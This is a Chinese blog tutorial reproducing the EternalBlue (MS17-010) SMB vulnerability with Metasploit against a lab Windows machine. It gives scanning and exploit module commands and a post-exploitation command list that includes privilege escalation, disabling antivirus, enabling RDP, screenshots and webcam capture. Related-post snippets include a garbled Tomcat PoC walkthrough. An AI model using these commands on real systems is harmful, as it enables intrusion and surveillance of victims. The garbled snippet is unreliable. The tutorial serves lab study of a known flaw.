漏洞复现_CVE-2017-0144 “永恒之蓝”漏洞

最新推荐文章于 2024-06-02 16:50:45 发布
最新推荐文章于 2024-06-02 16:50:45 发布
阅读量3k 收藏 8
点赞数 2
分类专栏： 漏洞复现 文章标签： 安全 web安全 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_51550750/article/details/125105315
版权

0x01_环境准备

（1）一台Windows电脑

（可以使用虚拟机代替）

配置是 网络—>右键，属性---->高级共享设置---->启用文件和打印机共享
在这里插入图片描述
(可以理解为，这样设置才使其具有了“永恒之蓝”漏洞)

（2）Metasploit任意平台

可以是Windows版，可以是kali自带版
在这里插入图片描述

0x02_漏洞简介

1.何为CVE-2017-0144？

​ CVE-2017-0144 既 永恒之蓝最早爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了勒索病毒，使全世界大范围内遭受了勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。

2.什么是SMB协议？

SMB是一个协议服务器信息块，它是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什么？

（1）：首先客户端发送一个SMB negport 请求数据报，，并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求，并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH，结束通信。

（2）：协议确定后，客户端进程向服务器发起一个用户或共享的认证，这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器，然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

（3）：当客户端和服务器完成了磋商和认证之后，它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称，之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

（4）：连接到相应资源后，SMB客户端就能够通过open SMB打开一个文件，通过read SMB读取文件，通过write SMB写入文件，通过close SMB关闭文件。

0x03_原理

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

0x04_CVE-2017-0144 利用方法

【1】查询利用模块
终端里输入 search ms17_010
在这里插入图片描述

有两个利用模块，两个辅助模块

【2】使用探测模块

终端内输入 use auxiliary/scanner/smb/smb_ms17_010
在这里插入图片描述

【3】设置探测范围
options
在这里插入图片描述
可以看到要配置Rhosts

在这里插入图片描述

(设置扫描当前网段 可以通过 在终端内输入ip a 查看)

这里有两个填法
（1）输入C段，就像我上面的截图，但是会扫很久，因为毕竟要扫255个

（2）输入一段范围，比如我知道大概是172.16.13.9-20之间，就可以这么输入：172.16.13.9-172.16.13.20

【4】开始探测

终端内输入 run 执行探测

如果要探测255个，还是要很久的，2000years later…
在这里插入图片描述
最后扫到一台

【5】漏洞利用

首先在终端里输入
search ms17_010
在这里插入图片描述

使用 模块
use exploit/windows/smb/ms17_010_eternalblue
在这里插入图片描述

【6】配置利用模块

配置模块
show options
配置靶机
这里IP填探测到的IP
在这里插入图片描述

【7】执行攻击

在终端里输入 run

但是这里给我报了个错：
在这里插入图片描述
RubySMB::Error::CommunicationError: RubySMB::Error::CommunicationError
[*] Exploit completed, but no session was created.

后来查了一下资料，估计应该是装了一个安全狗，导致无法成功利用。

0x05_后渗透操作

查看进程：ps
查看当前进程号：getpid
查看系统信息：sysinfo
查看目标机是否为虚拟机：run post/windows/gather/checkvm
查看完整网络设置：route
查看当前权限：getuid
自动提权：getsystem
关闭杀毒软件：run post/windows/manage/killav
启动远程桌面协议：run post/windows/manage/enable_rdp
列举当前登录的用户：run post/windows/gather/enum_logged_on_users
查看当前应用程序：run post/windows/gather/enum_applications
抓取目标机的屏幕截图：load espia ； screengrab
抓取摄像头的照片：webcam_snap
查看当前处于目标机的那个目录：pwd
查看当前目录：getlwd

qq_51550750
关注
  • 2
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CVE-2017-3599poc
07-27
CVE-2017-3599，Unspecified vulnerability in the Oracle Document Capture component in Oracle Fusion Middleware 10.1.3.4 and 10.1.3.5 allows remote attackers to affect integrity and availability via unknown vectors related to Import Server. NOTE: the previous information was obtained from the January 2011 CPU. Oracle has not commented on claims from the original researcher that remote attackers can overwrite arbitrary files and execute arbitrary code via a full pathname in the first argument to the WriteJPG method in the NCSECWLib ActiveX control.
hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip
05-20
标题 "hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip" 指向的是一个与海康威视（Hikvision）设备相关的安全漏洞，具体是CVE-2017-7921认证绕过漏洞。这个压缩包可能包含一个工具或指南，用于解析...
CVE-2017-0144 EternalBlue（永恒之蓝）漏洞分析
子曰小玖的博客
04-08 6963
前言 EternalBlue（永恒之蓝）据称是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的模块，由于其涉及漏洞的影响广泛性及利用稳定性，在被公开以后为破坏性巨大的勒索蠕虫 WannaCry所用而名噪一时。360威胁情报中心对于WannaCry的活动持续地进行着监控，我们看到的趋势是 WannaCry的感染量还在增加，说明作为蠕虫主要传播手段的EternalBlue相应的漏洞还大量存在...
永恒之蓝漏洞复现（Windows server 2008系列缓冲区溢出漏洞）
weixin_44970417的博客
07-25 2542
漏洞信息 漏洞名称：Windows server 2008系列缓冲区溢出漏洞 CVEID：2017-0144 漏洞类型：输入验证错误 威胁类型：远程 发布时间：2017-03-14 危害等级：高危 漏洞简介：Microsoft服务器消息块1.0（SMBv1）服务器处理某些请求的方式中存在一个远程执行代码漏洞。Windows Server 2008 SP2和R2 SP1以及Windows server 2016允许远程攻击者通过精心制作的数据包（也称为“Windows SMB远程代码执行漏洞”）在目标服务器上
永恒之蓝 (EternalBlue) 漏洞利用原理详解
最新发布
volta_xu的博客
06-02 1019
SMB（Server Message Block）协议是一种网络文件共享协议，主要用于文件和打印机共享。SMB协议允许客户端通过网络访问服务器上的文件、目录和其他资源。在Windows中，SMB协议是默认启用的，用于提供文件共享服务。
CVE-2017-0144 （Windows server 2008系列缓冲区溢出漏洞）
Fly_鹏程万里
03-15 8570
漏洞原理srv.sys在处理SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝。我们首先看下漏洞的触发点：unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2) {   int v4; // edi@1   _BYTE *v5; // edi@1   unsigned int result; // eax@1   v4 = a...
msf复现利用永恒之蓝【MS17_010】CVE-2017-0144漏洞
qq_58873970的博客
07-28 415
SMB是一个协议服务器信息块，它是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口。漏洞复现是一个排错的过程，要善于利用互联网这个工具进行排难。
永恒之蓝漏洞（CVE-2017-0144）复现
LRainner的博客
03-04 4603
永恒之蓝漏洞（CVE-2017-0144）复现 环境搭建 一台kali攻击机 一台windows7靶机 信息收集 ifconfig 查看kali的ip地址为192.168.125.25 使用nmap扫描192.168.125.0网段下存活的主机 nmap 192.168.125.25/24 判断靶机ip地址为192.168.125.151 nmap -O 192.168.125.151 判断靶机为Windows 7|2008|8.1 使用永恒之蓝进行攻击 msfconsole进入metasploit控
【MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6】
Shadow_DAI_990101的博客
08-31 815
永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复确保防病毒软件是最新的。实施数据备份和恢复计划，将敏感或专有数据的副本保存在单独且安全的位置。...
hikvision_CVE-2017-7921配置文件解密.rar
05-20
具体影响产品型号，请参考CVE-...CVE-2017-7922漏洞详情。 该程序发布，意在警醒相关单位及时更新相关设备，网络安全需要大家共同监督。 本程序需和配置文件存放在同一目录下运行exe即可配置文件名configurationFile
WebLogic反序列化_CVE-2017-3248
09-06
WebLogic反序列化_CVE-2017-3248 java -jar weblogic_cmd.jar -C pwd -H 192.168.1.1 -P 7001 工具使用方法： -B Runtime Blind Execute Command maybe you should select os type -C <arg> (执行命令)Execute ...
CVE-2017-16995脚本
03-20
Ubuntu本地内核提权，用于大家一起学习，更好的维护好系统
44913_sale3ho_CVE-2017-12636_POC_
09-30
标题 "44913_sale3ho_CVE-2017-12636_POC_" 提供的信息表明，这是一个与安全漏洞CVE-2017-12636相关的PoC（Proof of Concept）代码。POC通常是由安全研究人员或黑客创建的，用于证明一个特定漏洞确实存在并且可以被...
使用Metasploit渗透攻击windows系统（二）
weixin_30457465的博客
01-27 661
后渗透攻击： 介绍常用的一些命令： 查看进程：ps 查看当前进程号：getpid 查看系统信息：sysinfo 查看目标机是否为虚拟机：run post/windows/gather/checkvm 查看完整网络设置：route 查看当前权限：getuid 自动提权：getsystem 关闭杀毒软件：run post/windows/manage/killav 启动...
SMB MS17-010 利用（CVE-2017-0144 ）
weixin_30408309的博客
08-10 904
exploit-db :https://www.exploit-db.com/exploits/42315/ 该漏洞的影响版本很广泛：Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) 具体请查看公告：Microsoft 安全公...
ShadowBroker公开的SMB远程命令执行漏洞修复
weixin_30640291的博客
04-17 320
有人不知道如何获得MS对应的补丁KB编号，可以看这篇文章了~ 漏洞编号为ms17-010,如何查看对应MS号的补丁已经安装： 下载微软官方的补丁信息列表(Microsoft Security Bulletin Data) https://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982 http://download....
Tomact_CVE-2020-1938漏洞复现
08-31
要复现Tomact_CVE-2020-1938漏洞，可以按照以下步骤进行操作： 1. 下载POC：可以使用以下命令下载POC文件： git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境：确保攻击机上已经安装了Tomcat服务器，并且版本在3.4.3以下，可以使用以下命令下载并安装Tomcat 3.4.3版本： git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器：在Tomcat安装目录下，找到server.xml文件，在<Connector>标签中添加以下内容： protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器：在Tomcat安装目录下运行启动脚本，如./catalina.sh run 5. 复现漏洞：使用以下命令触发漏洞复现： python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你复现Tomact_CVE-2020-1938漏洞。请注意，在进行漏洞复现时务必遵守道德规范，并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞复现](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞复现](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值